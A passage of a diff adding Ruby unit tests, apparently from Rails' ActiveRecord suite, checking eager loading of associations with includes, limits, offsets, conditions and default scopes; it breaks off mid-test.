+ def test_has_many_through_with_order
+ authors = Author.includes(:favorite_authors).to_a
+ assert_no_queries { authors.map(&:favorite_authors) }
+ end
+
+ def test_with_two_tables_in_from_without_getting_double_quoted
+ posts = Post.select("posts.*").from("authors, posts").eager_load(:comments).where("posts.author_id = authors.id").order("posts.id").to_a
+ assert_equal 2, posts.first.comments.size
+ end
+
+ def test_loading_with_multiple_associations
+ posts = Post.all.merge!(:includes => [ :comments, :author, :categories ], :order => "posts.id").to_a
+ assert_equal 2, posts.first.comments.size
+ assert_equal 2, posts.first.categories.size
+ assert posts.first.comments.include?(comments(:greetings))
+ end
+
+ def test_duplicate_middle_objects
+ comments = Comment.all.merge!(:where => 'post_id = 1', :includes => [:post => :author]).to_a
+ assert_no_queries do
+ comments.each {|comment| comment.post.author.name}
+ end
+ end
+
+ def test_preloading_has_many_in_multiple_queries_with_more_ids_than_database_can_handle
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(5)
+ posts = Post.all.merge!(:includes=>:comments).to_a
+ assert_equal 11, posts.size
+ end
+
+ def test_preloading_has_many_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(nil)
+ posts = Post.all.merge!(:includes=>:comments).to_a
+ assert_equal 11, posts.size
+ end
+
+ def test_preloading_habtm_in_multiple_queries_with_more_ids_than_database_can_handle
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(5)
+ posts = Post.all.merge!(:includes=>:categories).to_a
+ assert_equal 11, posts.size
+ end
+
+ def test_preloading_habtm_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(nil)
+ posts = Post.all.merge!(:includes=>:categories).to_a
+ assert_equal 11, posts.size
+ end
+
+ def test_load_associated_records_in_one_query_when_adapter_has_no_limit
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(nil)
+
+ post = posts(:welcome)
+ assert_queries(2) do
+ Post.includes(:comments).where(:id => post.id).to_a
+ end
+ end
+
+ def test_load_associated_records_in_several_queries_when_many_ids_passed
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(1)
+
+ post1, post2 = posts(:welcome), posts(:thinking)
+ assert_queries(3) do
+ Post.includes(:comments).where(:id => [post1.id, post2.id]).to_a
+ end
+ end
+
+ def test_load_associated_records_in_one_query_when_a_few_ids_passed
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(3)
+
+ post = posts(:welcome)
+ assert_queries(2) do
+ Post.includes(:comments).where(:id => post.id).to_a
+ end
+ end
+
+ def test_including_duplicate_objects_from_belongs_to
+ popular_post = Post.create!(:title => 'foo', :body => "I like cars!")
+ comment = popular_post.comments.create!(:body => "lol")
+ popular_post.readers.create!(:person => people(:michael))
+ popular_post.readers.create!(:person => people(:david))
+
+ readers = Reader.all.merge!(:where => ["post_id = ?", popular_post.id],
+ :includes => {:post => :comments}).to_a
+ readers.each do |reader|
+ assert_equal [comment], reader.post.comments
+ end
+ end
+
+ def test_including_duplicate_objects_from_has_many
+ car_post = Post.create!(:title => 'foo', :body => "I like cars!")
+ car_post.categories << categories(:general)
+ car_post.categories << categories(:technology)
+
+ comment = car_post.comments.create!(:body => "hmm")
+ categories = Category.all.merge!(:where => { 'posts.id' => car_post.id },
+ :includes => {:posts => :comments}).to_a
+ categories.each do |category|
+ assert_equal [comment], category.posts[0].comments
+ end
+ end
+
+ def test_associations_loaded_for_all_records
+ post = Post.create!(:title => 'foo', :body => "I like cars!")
+ SpecialComment.create!(:body => 'Come on!', :post => post)
+ first_category = Category.create! :name => 'First!', :posts => [post]
+ second_category = Category.create! :name => 'Second!', :posts => [post]
+
+ categories = Category.where(:id => [first_category.id, second_category.id]).includes(:posts => :special_comments)
+ assert_equal categories.map { |category| category.posts.first.special_comments.loaded? }, [true, true]
+ end
+
+ def test_finding_with_includes_on_has_many_association_with_same_include_includes_only_once
+ author_id = authors(:david).id
+ author = assert_queries(3) { Author.all.merge!(:includes => {:posts_with_comments => :comments}).find(author_id) } # find the author, then find the posts, then find the comments
+ author.posts_with_comments.each do |post_with_comments|
+ assert_equal post_with_comments.comments.length, post_with_comments.comments.count
+ assert_nil post_with_comments.comments.to_a.uniq!
+ end
+ end
+
+ def test_finding_with_includes_on_has_one_association_with_same_include_includes_only_once
+ author = authors(:david)
+ post = author.post_about_thinking_with_last_comment
+ last_comment = post.last_comment
+ author = assert_queries(3) { Author.all.merge!(:includes => {:post_about_thinking_with_last_comment => :last_comment}).find(author.id)} # find the author, then find the posts, then find the comments
+ assert_no_queries do
+ assert_equal post, author.post_about_thinking_with_last_comment
+ assert_equal last_comment, author.post_about_thinking_with_last_comment.last_comment
+ end
+ end
+
+ def test_finding_with_includes_on_belongs_to_association_with_same_include_includes_only_once
+ post = posts(:welcome)
+ author = post.author
+ author_address = author.author_address
+ post = assert_queries(3) { Post.all.merge!(:includes => {:author_with_address => :author_address}).find(post.id) } # find the post, then find the author, then find the address
+ assert_no_queries do
+ assert_equal author, post.author_with_address
+ assert_equal author_address, post.author_with_address.author_address
+ end
+ end
+
+ def test_finding_with_includes_on_null_belongs_to_association_with_same_include_includes_only_once
+ post = posts(:welcome)
+ post.update!(author: nil)
+ post = assert_queries(1) { Post.all.merge!(includes: {author_with_address: :author_address}).find(post.id) }
+ # find the post, then find the author which is null so no query for the author or address
+ assert_no_queries do
+ assert_equal nil, post.author_with_address
+ end
+ end
+
+ def test_finding_with_includes_on_null_belongs_to_polymorphic_association
+ sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+ sponsor.update!(sponsorable: nil)
+ sponsor = assert_queries(1) { Sponsor.all.merge!(:includes => :sponsorable).find(sponsor.id) }
+ assert_no_queries do
+ assert_equal nil, sponsor.sponsorable
+ end
+ end
+
+ def test_loading_from_an_association
+ posts = authors(:david).posts.merge(:includes => :comments, :order => "posts.id").to_a
+ assert_equal 2, posts.first.comments.size
+ end
+
+ def test_loading_from_an_association_that_has_a_hash_of_conditions
+ assert_nothing_raised do
+ Author.all.merge!(:includes => :hello_posts_with_hash_conditions).to_a
+ end
+ assert !Author.all.merge!(:includes => :hello_posts_with_hash_conditions).find(authors(:david).id).hello_posts.empty?
+ end
+
+ def test_loading_with_no_associations
+ assert_nil Post.all.merge!(:includes => :author).find(posts(:authorless).id).author
+ end
+
+ def test_nested_loading_with_no_associations
+ assert_nothing_raised do
+ Post.all.merge!(:includes => {:author => :author_addresss}).find(posts(:authorless).id)
+ end
+ end
+
+ def test_nested_loading_through_has_one_association
+ aa = AuthorAddress.all.merge!(:includes => {:author => :posts}).find(author_addresses(:david_address).id)
+ assert_equal aa.author.posts.count, aa.author.posts.length
+ end
+
+ def test_nested_loading_through_has_one_association_with_order
+ aa = AuthorAddress.all.merge!(:includes => {:author => :posts}, :order => 'author_addresses.id').find(author_addresses(:david_address).id)
+ assert_equal aa.author.posts.count, aa.author.posts.length
+ end
+
+ def test_nested_loading_through_has_one_association_with_order_on_association
+ aa = AuthorAddress.all.merge!(:includes => {:author => :posts}, :order => 'authors.id').find(author_addresses(:david_address).id)
+ assert_equal aa.author.posts.count, aa.author.posts.length
+ end
+
+ def test_nested_loading_through_has_one_association_with_order_on_nested_association
+ aa = AuthorAddress.all.merge!(:includes => {:author => :posts}, :order => 'posts.id').find(author_addresses(:david_address).id)
+ assert_equal aa.author.posts.count, aa.author.posts.length
+ end
+
+ def test_nested_loading_through_has_one_association_with_conditions
+ aa = AuthorAddress.references(:author_addresses).merge(
+ :includes => {:author => :posts},
+ :where => "author_addresses.id > 0"
+ ).find author_addresses(:david_address).id
+ assert_equal aa.author.posts.count, aa.author.posts.length
+ end
+
+ def test_nested_loading_through_has_one_association_with_conditions_on_association
+ aa = AuthorAddress.references(:authors).merge(
+ :includes => {:author => :posts},
+ :where => "authors.id > 0"
+ ).find author_addresses(:david_address).id
+ assert_equal aa.author.posts.count, aa.author.posts.length
+ end
+
+ def test_nested_loading_through_has_one_association_with_conditions_on_nested_association
+ aa = AuthorAddress.references(:posts).merge(
+ :includes => {:author => :posts},
+ :where => "posts.id > 0"
+ ).find author_addresses(:david_address).id
+ assert_equal aa.author.posts.count, aa.author.posts.length
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_foreign_keys
+ pets = Pet.all.merge!(:includes => :owner).to_a
+ assert_equal 4, pets.length
+ end
+
+ def test_eager_association_loading_with_belongs_to
+ comments = Comment.all.merge!(:includes => :post).to_a
+ assert_equal 11, comments.length
+ titles = comments.map { |c| c.post.title }
+ assert titles.include?(posts(:welcome).title)
+ assert titles.include?(posts(:sti_post_and_comments).title)
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_limit
+ comments = Comment.all.merge!(:includes => :post, :limit => 5, :order => 'comments.id').to_a
+ assert_equal 5, comments.length
+ assert_equal [1,2,3,5,6], comments.collect { |c| c.id }
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_limit_and_conditions
+ comments = Comment.all.merge!(:includes => :post, :where => 'post_id = 4', :limit => 3, :order => 'comments.id').to_a
+ assert_equal 3, comments.length
+ assert_equal [5,6,7], comments.collect { |c| c.id }
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_limit_and_offset
+ comments = Comment.all.merge!(:includes => :post, :limit => 3, :offset => 2, :order => 'comments.id').to_a
+ assert_equal 3, comments.length
+ assert_equal [3,5,6], comments.collect { |c| c.id }
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions
+ comments = Comment.all.merge!(:includes => :post, :where => 'post_id = 4', :limit => 3, :offset => 1, :order => 'comments.id').to_a
+ assert_equal 3, comments.length
+ assert_equal [6,7,8], comments.collect { |c| c.id }
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions_array
+ comments = Comment.all.merge!(:includes => :post, :where => ['post_id = ?',4], :limit => 3, :offset => 1, :order => 'comments.id').to_a
+ assert_equal 3, comments.length
+ assert_equal [6,7,8], comments.collect { |c| c.id }
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name
+ assert_nothing_raised do
+ ActiveSupport::Deprecation.silence do
+ Comment.all.merge!(:includes => :post, :where => ['posts.id = ?',4]).to_a
+ end
+ end
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_conditions_hash
+ comments = []
+ assert_nothing_raised do
+ comments = Comment.all.merge!(:includes => :post, :where => {:posts => {:id => 4}}, :limit => 3, :order => 'comments.id').to_a
+ end
+ assert_equal 3, comments.length
+ assert_equal [5,6,7], comments.collect { |c| c.id }
+ assert_no_queries do
+ comments.first.post
+ end
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_conditions_string_with_quoted_table_name
+ quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
+ assert_nothing_raised do
+ ActiveSupport::Deprecation.silence do
+ Comment.all.merge!(:includes => :post, :where => ["#{quoted_posts_id} = ?",4]).to_a
+ end
+ end
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_order_string_with_unquoted_table_name
+ assert_nothing_raised do
+ Comment.all.merge!(:includes => :post, :order => 'posts.id').to_a
+ end
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_order_string_with_quoted_table_name
+ quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
+ assert_nothing_raised do
+ ActiveSupport::Deprecation.silence do
+ Comment.all.merge!(:includes => :post, :order => quoted_posts_id).to_a
+ end
+ end
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_limit_and_multiple_associations
+ posts = Post.all.merge!(:includes => [:author, :very_special_comment], :limit => 1, :order => 'posts.id').to_a
+ assert_equal 1, posts.length
+ assert_equal [1], posts.collect { |p| p.id }
+ end
+
+ def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_multiple_associations
+ posts = Post.all.merge!(:includes => [:author, :very_special_comment], :limit => 1, :offset => 1, :order => 'posts.id').to_a
+ assert_equal 1, posts.length
+ assert_equal [2], posts.collect { |p| p.id }
+ end
+
+ def test_eager_association_loading_with_belongs_to_inferred_foreign_key_from_association_name
+ author_favorite = AuthorFavorite.all.merge!(:includes => :favorite_author).first
+ assert_equal authors(:mary), assert_no_queries { author_favorite.favorite_author }
+ end
+
+ def test_eager_load_belongs_to_quotes_table_and_column_names
+ job = Job.includes(:ideal_reference).find jobs(:unicyclist).id
+ references(:michael_unicyclist)
+ assert_no_queries{ assert_equal references(:michael_unicyclist), job.ideal_reference}
+ end
+
+ def test_eager_load_has_one_quotes_table_and_column_names
+ michael = Person.all.merge!(:includes => :favourite_reference).find(people(:michael))
+ references(:michael_unicyclist)
+ assert_no_queries{ assert_equal references(:michael_unicyclist), michael.favourite_reference}
+ end
+
+ def test_eager_load_has_many_quotes_table_and_column_names
+ michael = Person.all.merge!(:includes => :references).find(people(:michael))
+ references(:michael_magician,:michael_unicyclist)
+ assert_no_queries{ assert_equal references(:michael_magician,:michael_unicyclist), michael.references.sort_by(&:id) }
+ end
+
+ def test_eager_load_has_many_through_quotes_table_and_column_names
+ michael = Person.all.merge!(:includes => :jobs).find(people(:michael))
+ jobs(:magician, :unicyclist)
+ assert_no_queries{ assert_equal jobs(:unicyclist, :magician), michael.jobs.sort_by(&:id) }
+ end
+
+ def test_eager_load_has_many_with_string_keys
+ subscriptions = subscriptions(:webster_awdr, :webster_rfr)
+ subscriber =Subscriber.all.merge!(:includes => :subscriptions).find(subscribers(:second).id)
+ assert_equal subscriptions, subscriber.subscriptions.sort_by(&:id)
+ end
+
+ def test_string_id_column_joins
+ s = Subscriber.create! do |c|
+ c.id = "PL"
+ end
+
+ b = Book.create!
+
+ Subscription.create!(:subscriber_id => "PL", :book_id => b.id)
+ s.reload
+ s.book_ids = s.book_ids
+ end
+
+ def test_eager_load_has_many_through_with_string_keys
+ books = books(:awdr, :rfr)
+ subscriber = Subscriber.all.merge!(:includes => :books).find(subscribers(:second).id)
+ assert_equal books, subscriber.books.sort_by(&:id)
+ end
+
+ def test_eager_load_belongs_to_with_string_keys
+ subscriber = subscribers(:second)
+ subscription = Subscription.all.merge!(:includes => :subscriber).find(subscriptions(:webster_awdr).id)
+ assert_equal subscriber, subscription.subscriber
+ end
+
+ def test_eager_association_loading_with_explicit_join
+ posts = Post.all.merge!(:includes => :comments, :joins => "INNER JOIN authors ON posts.author_id = authors.id AND authors.name = 'Mary'", :limit => 1, :order => 'author_id').to_a
+ assert_equal 1, posts.length
+ end
+
+ def test_eager_with_has_many_through
+ posts_with_comments = people(:michael).posts.merge(:includes => :comments, :order => 'posts.id').to_a
+ posts_with_author = people(:michael).posts.merge(:includes => :author, :order => 'posts.id').to_a
+ posts_with_comments_and_author = people(:michael).posts.merge(:includes => [ :comments, :author ], :order => 'posts.id').to_a
+ assert_equal 2, posts_with_comments.inject(0) { |sum, post| sum + post.comments.size }
+ assert_equal authors(:david), assert_no_queries { posts_with_author.first.author }
+ assert_equal authors(:david), assert_no_queries { posts_with_comments_and_author.first.author }
+ end
+
+ def test_eager_with_has_many_through_a_belongs_to_association
+ author = authors(:mary)
+ Post.create!(:author => author, :title => "TITLE", :body => "BODY")
+ author.author_favorites.create(:favorite_author_id => 1)
+ author.author_favorites.create(:favorite_author_id => 2)
+ posts_with_author_favorites = author.posts.merge(:includes => :author_favorites).to_a
+ assert_no_queries { posts_with_author_favorites.first.author_favorites.first.author_id }
+ end
+
+ def test_eager_with_has_many_through_an_sti_join_model
+ author = Author.all.merge!(:includes => :special_post_comments, :order => 'authors.id').first
+ assert_equal [comments(:does_it_hurt)], assert_no_queries { author.special_post_comments }
+ end
+
+ def test_eager_with_has_many_through_an_sti_join_model_with_conditions_on_both
+ author = Author.all.merge!(:includes => :special_nonexistant_post_comments, :order => 'authors.id').first
+ assert_equal [], author.special_nonexistant_post_comments
+ end
+
+ def test_eager_with_has_many_through_join_model_with_conditions
+ assert_equal Author.all.merge!(:includes => :hello_post_comments,
+ :order => 'authors.id').first.hello_post_comments.sort_by(&:id),
+ Author.all.merge!(:order => 'authors.id').first.hello_post_comments.sort_by(&:id)
+ end
+
+ def test_eager_with_has_many_through_join_model_with_conditions_on_top_level
+ assert_equal comments(:more_greetings), Author.all.merge!(:includes => :comments_with_order_and_conditions).find(authors(:david).id).comments_with_order_and_conditions.first
+ end
+
+ def test_eager_with_has_many_through_join_model_with_include
+ author_comments = Author.all.merge!(:includes => :comments_with_include).find(authors(:david).id).comments_with_include.to_a
+ assert_no_queries do
+ author_comments.first.post.title
+ end
+ end
+
+ def test_eager_with_has_many_through_with_conditions_join_model_with_include
+ post_tags = Post.find(posts(:welcome).id).misc_tags
+ eager_post_tags = Post.all.merge!(:includes => :misc_tags).find(1).misc_tags
+ assert_equal post_tags, eager_post_tags
+ end
+
+ def test_eager_with_has_many_through_join_model_ignores_default_includes
+ assert_nothing_raised do
+ authors(:david).comments_on_posts_with_default_include.to_a
+ end
+ end
+
+ def test_eager_with_has_many_and_limit
+ posts = Post.all.merge!(:order => 'posts.id asc', :includes => [ :author, :comments ], :limit => 2).to_a
+ assert_equal 2, posts.size
+ assert_equal 3, posts.inject(0) { |sum, post| sum + post.comments.size }
+ end
+
+ def test_eager_with_has_many_and_limit_and_conditions
+ if current_adapter?(:OpenBaseAdapter)
+ posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "FETCHBLOB(posts.body) = 'hello'", :order => "posts.id").to_a
+ else
+ posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "posts.body = 'hello'", :order => "posts.id").to_a
+ end
+ assert_equal 2, posts.size
+ assert_equal [4,5], posts.collect { |p| p.id }
+ end
+
+ def test_eager_with_has_many_and_limit_and_conditions_array
+ if current_adapter?(:OpenBaseAdapter)
+ posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "FETCHBLOB(posts.body) = ?", 'hello' ], :order => "posts.id").to_a
+ else
+ posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "posts.body = ?", 'hello' ], :order => "posts.id").to_a
+ end
+ assert_equal 2, posts.size
+ assert_equal [4,5], posts.collect { |p| p.id }
+ end
+
+ def test_eager_with_has_many_and_limit_and_conditions_array_on_the_eagers
+ posts = ActiveSupport::Deprecation.silence do
+ Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "authors.name = ?", 'David' ]).to_a
+ end
+ assert_equal 2, posts.size
+
+ count = ActiveSupport::Deprecation.silence do
+ Post.count(:include => [ :author, :comments ], :limit => 2, :conditions => [ "authors.name = ?", 'David' ])
+ end
+ assert_equal count, posts.size
+ end
+
+ def test_eager_with_has_many_and_limit_and_high_offset
+ posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :offset => 10, :where => { 'authors.name' => 'David' }).to_a
+ assert_equal 0, posts.size
+ end
+
+ def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_array_conditions
+ assert_queries(1) do
+ posts = Post.references(:authors, :comments).
+ merge(:includes => [ :author, :comments ], :limit => 2, :offset => 10,
+ :where => [ "authors.name = ? and comments.body = ?", 'David', 'go crazy' ]).to_a
+ assert_equal 0, posts.size
+ end
+ end
+
+ def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_hash_conditions
+ assert_queries(1) do
+ posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :offset => 10,
+ :where => { 'authors.name' => 'David', 'comments.body' => 'go crazy' }).to_a
+ assert_equal 0, posts.size
+ end
+ end
+
+ def test_count_eager_with_has_many_and_limit_and_high_offset
+ posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :offset => 10, :where => { 'authors.name' => 'David' }).count(:all)
+ assert_equal 0, posts
+ end
+
+ def test_eager_with_has_many_and_limit_with_no_results
+ posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "posts.title = 'magic forest'").to_a
+ assert_equal 0, posts.size
+ end
+
+ def test_eager_count_performed_on_a_has_many_association_with_multi_table_conditional
+ author = authors(:david)
+ author_posts_without_comments = author.posts.select { |post| post.comments.blank? }
+ assert_equal author_posts_without_comments.size, author.posts.includes(:comments).where('comments.id is null').references(:comments).count
+ end
+
+ def test_eager_count_performed_on_a_has_many_through_association_with_multi_table_conditional
+ person = people(:michael)
+ person_posts_without_comments = person.posts.select { |post| post.comments.blank? }
+ assert_equal person_posts_without_comments.size, person.posts_with_no_comments.count
+ end
+
+ def test_eager_with_has_and_belongs_to_many_and_limit
+ posts = Post.all.merge!(:includes => :categories, :order => "posts.id", :limit => 3).to_a
+ assert_equal 3, posts.size
+ assert_equal 2, posts[0].categories.size
+ assert_equal 1, posts[1].categories.size
+ assert_equal 0, posts[2].categories.size
+ assert posts[0].categories.include?(categories(:technology))
+ assert posts[1].categories.include?(categories(:general))
+ end
+
+ # Since the preloader for habtm gets raw row hashes from the database and then
+ # instantiates them, this test ensures that it only instantiates one actual
+ # object per record from the database.
+ def test_has_and_belongs_to_many_should_not_instantiate_same_records_multiple_times
+ welcome = posts(:welcome)
+ categories = Category.includes(:posts)
+
+ general = categories.find { |c| c == categories(:general) }
+ technology = categories.find { |c| c == categories(:technology) }
+
+ post1 = general.posts.to_a.find { |p| p == welcome }
+ post2 = technology.posts.to_a.find { |p| p == welcome }
+
+ assert_equal post1.object_id, post2.object_id
+ end
+
+ def test_eager_with_has_many_and_limit_and_conditions_on_the_eagers
+ posts =
+ authors(:david).posts
+ .includes(:comments)
+ .where("comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'")
+ .references(:comments)
+ .limit(2)
+ .to_a
+ assert_equal 2, posts.size
+
+ count =
+ Post.includes(:comments, :author)
+ .where("authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')")
+ .references(:authors, :comments)
+ .limit(2)
+ .count
+ assert_equal count, posts.size
+ end
+
+ def test_eager_with_has_many_and_limit_and_scoped_conditions_on_the_eagers
+ posts = nil
+ Post.includes(:comments)
+ .where("comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'")
+ .references(:comments)
+ .scoping do
+
+ posts = authors(:david).posts.limit(2).to_a
+ assert_equal 2, posts.size
+ end
+
+ Post.includes(:comments, :author)
+ .where("authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')")
+ .references(:authors, :comments)
+ .scoping do
+
+ count = Post.limit(2).count
+ assert_equal count, posts.size
+ end
+ end
+
+ def test_eager_association_loading_with_habtm
+ posts = Post.all.merge!(:includes => :categories, :order => "posts.id").to_a
+ assert_equal 2, posts[0].categories.size
+ assert_equal 1, posts[1].categories.size
+ assert_equal 0, posts[2].categories.size
+ assert posts[0].categories.include?(categories(:technology))
+ assert posts[1].categories.include?(categories(:general))
+ end
+
+ def test_eager_with_inheritance
+ SpecialPost.all.merge!(:includes => [ :comments ]).to_a
+ end
+
+ def test_eager_has_one_with_association_inheritance
+ post = Post.all.merge!(:includes => [ :very_special_comment ]).find(4)
+ assert_equal "VerySpecialComment", post.very_special_comment.class.to_s
+ end
+
+ def test_eager_has_many_with_association_inheritance
+ post = Post.all.merge!(:includes => [ :special_comments ]).find(4)
+ post.special_comments.each do |special_comment|
+ assert special_comment.is_a?(SpecialComment)
+ end
+ end
+
+ def test_eager_habtm_with_association_inheritance
+ post = Post.all.merge!(:includes => [ :special_categories ]).find(6)
+ assert_equal 1, post.special_categories.size
+ post.special_categories.each do |special_category|
+ assert_equal "SpecialCategory", special_category.class.to_s
+ end
+ end
+
+ def test_eager_with_has_one_dependent_does_not_destroy_dependent
+ assert_not_nil companies(:first_firm).account
+ f = Firm.all.merge!(:includes => :account,
+ :where => ["companies.name = ?", "37signals"]).first
+ assert_not_nil f.account
+ assert_equal companies(:first_firm, :reload).account, f.account
+ end
+
+ def test_eager_with_multi_table_conditional_properly_counts_the_records_when_using_size
+ author = authors(:david)
+ posts_with_no_comments = author.posts.select { |post| post.comments.blank? }
+ assert_equal posts_with_no_comments.size, author.posts_with_no_comments.size
+ assert_equal posts_with_no_comments, author.posts_with_no_comments
+ end
+
+ def test_eager_with_invalid_association_reference
+ assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ Post.all.merge!(:includes=> :monkeys ).find(6)
+ }
+ assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ Post.all.merge!(:includes=>[ :monkeys ]).find(6)
+ }
+ assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ Post.all.merge!(:includes=>[ 'monkeys' ]).find(6)
+ }
+ assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys, :elephants") {
+ Post.all.merge!(:includes=>[ :monkeys, :elephants ]).find(6)
+ }
+ end
+
+ def test_eager_with_default_scope
+ developer = EagerDeveloperWithDefaultScope.where(:name => 'David').first
+ projects = Project.order(:id).to_a
+ assert_no_queries do
+ assert_equal(projects, developer.projects)
+ end
+ end
+
+ def test_eager_with_default_scope_as_class_method
+ developer = EagerDeveloperWithClassMethodDefaultScope.where(:name => 'David').first
+ projects = Project.order(:id).to_a
+ assert_no_queries do
+ assert_equal(projects, developer.projects)
+ end
+ end
+
+ def test_eager_with_default_scope_as_lambda
+ developer = EagerDeveloperWithLambdaDefaultScope.where(:name => 'David').first
+ projects = Project.order(:id).to_a
+ assert_no_queries do
+ assert_equal(projects, developer.projects)
+ end
+ end
+
+ def test_eager_with_default_scope_as_block
+ developer = EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first
+ projects = Project.order(:id).to_a
+ assert_no_queries do
+ assert_equal(projects, developer.projects)
+ end
+ end
+
+ def test_eager_with_default_scope_as_callable
+ developer = EagerDeveloperWithCallableDefaultScope.where(:name => 'David').first
+ projects = Project.order(:id).to_a
+ assert_no_queries do
+ assert_equal(projects, developer.projects)
+ end
+ end
+
+ def find_all_ordered(className, include=nil)
+ className.all.merge!(:order=>"#{className.table_name}.#{className.primary_key}", :includes=>include).to_a
+ end
+
+ def test_limited_eager_with_order
+ assert_equal(
+ posts(:thinking, :sti_comments),
+ Post.all.merge!(
+ :includes => [:author, :comments], :where => { 'authors.name' => 'David' },
+ :order => 'UPPER(posts.title)', :limit => 2, :offset => 1
+ ).to_a
+ )
+ assert_equal(
+ posts(:sti_post_and_comments, :sti_comments),
+ Post.all.merge!(
+ :includes => [:author, :comments], :where => { 'authors.name' => 'David' },
+ :order => 'UPPER(posts.title) DESC', :limit => 2, :offset => 1
+ ).to_a
+ )
+ end
+
+ def test_limited_eager_with_multiple_order_columns
+ assert_equal(
+ posts(:thinking, :sti_comments),
+ Post.all.merge!(
+ :includes => [:author, :comments], :where => { 'authors.name' => 'David' },
+ :order => ['UPPER(posts.title)', 'posts.id'], :limit => 2, :offset => 1
+ ).to_a
+ )
+ assert_equal(
+ posts(:sti_post_and_comments, :sti_comments),
+ Post.all.merge!(
+ :includes => [:author, :comments], :where => { 'authors.name' => 'David' },
+ :order => ['UPPER(posts.title) DESC', 'posts.id'], :limit => 2, :offset => 1
+ ).to_a
+ )
+ end
+
+ def test_limited_eager_with_numeric_in_association
+ assert_equal(
+ people(:david, :susan),
+ Person.references(:number1_fans_people).merge(
+ :includes => [:readers, :primary_contact, :number1_fan],
+ :where => "number1_fans_people.first_name like 'M%'",
+ :order => 'people.id', :limit => 2, :offset => 0
+ ).to_a
+ )
+ end
+
+ def test_preload_with_interpolation
+ post = Post.includes(:comments_with_interpolated_conditions).find(posts(:welcome).id)
+ assert_equal [comments(:greetings)], post.comments_with_interpolated_conditions
+
+ post = Post.joins(:comments_with_interpolated_conditions).find(posts(:welcome).id)
+ assert_equal [comments(:greetings)], post.comments_with_interpolated_conditions
+ end
+
+ def test_polymorphic_type_condition
+ post = Post.all.merge!(:includes => :taggings).find(posts(:thinking).id)
+ assert post.taggings.include?(taggings(:thinking_general))
+ post = SpecialPost.all.merge!(:includes => :taggings).find(posts(:thinking).id)
+ assert post.taggings.include?(taggings(:thinking_general))
+ end
+
+ def test_eager_with_multiple_associations_with_same_table_has_many_and_habtm
+ # Eager includes of has many and habtm associations aren't necessarily sorted in the same way
+ def assert_equal_after_sort(item1, item2, item3 = nil)
+ assert_equal(item1.sort{|a,b| a.id <=> b.id}, item2.sort{|a,b| a.id <=> b.id})
+ assert_equal(item3.sort{|a,b| a.id <=> b.id}, item2.sort{|a,b| a.id <=> b.id}) if item3
+ end
+ # Test regular association, association with conditions, association with
+ # STI, and association with conditions assured not to be true
+ post_types = [:posts, :other_posts, :special_posts]
+ # test both has_many and has_and_belongs_to_many
+ [Author, Category].each do |className|
+ d1 = find_all_ordered(className)
+ # test including all post types at once
+ d2 = find_all_ordered(className, post_types)
+ d1.each_index do |i|
+ assert_equal(d1[i], d2[i])
+ assert_equal_after_sort(d1[i].posts, d2[i].posts)
+ post_types[1..-1].each do |post_type|
+ # test including post_types together
+ d3 = find_all_ordered(className, [:posts, post_type])
+ assert_equal(d1[i], d3[i])
+ assert_equal_after_sort(d1[i].posts, d3[i].posts)
+ assert_equal_after_sort(d1[i].send(post_type), d2[i].send(post_type), d3[i].send(post_type))
+ end
+ end
+ end
+ end
+
+ def test_eager_with_multiple_associations_with_same_table_has_one
+ d1 = find_all_ordered(Firm)
+ d2 = find_all_ordered(Firm, :account)
+ d1.each_index do |i|
+ assert_equal(d1[i], d2[i])
+ assert_equal(d1[i].account, d2[i].account)
+ end
+ end
+
+ def test_eager_with_multiple_associations_with_same_table_belongs_to
+ firm_types = [:firm, :firm_with_basic_id, :firm_with_other_name, :firm_with_condition]
+ d1 = find_all_ordered(Client)
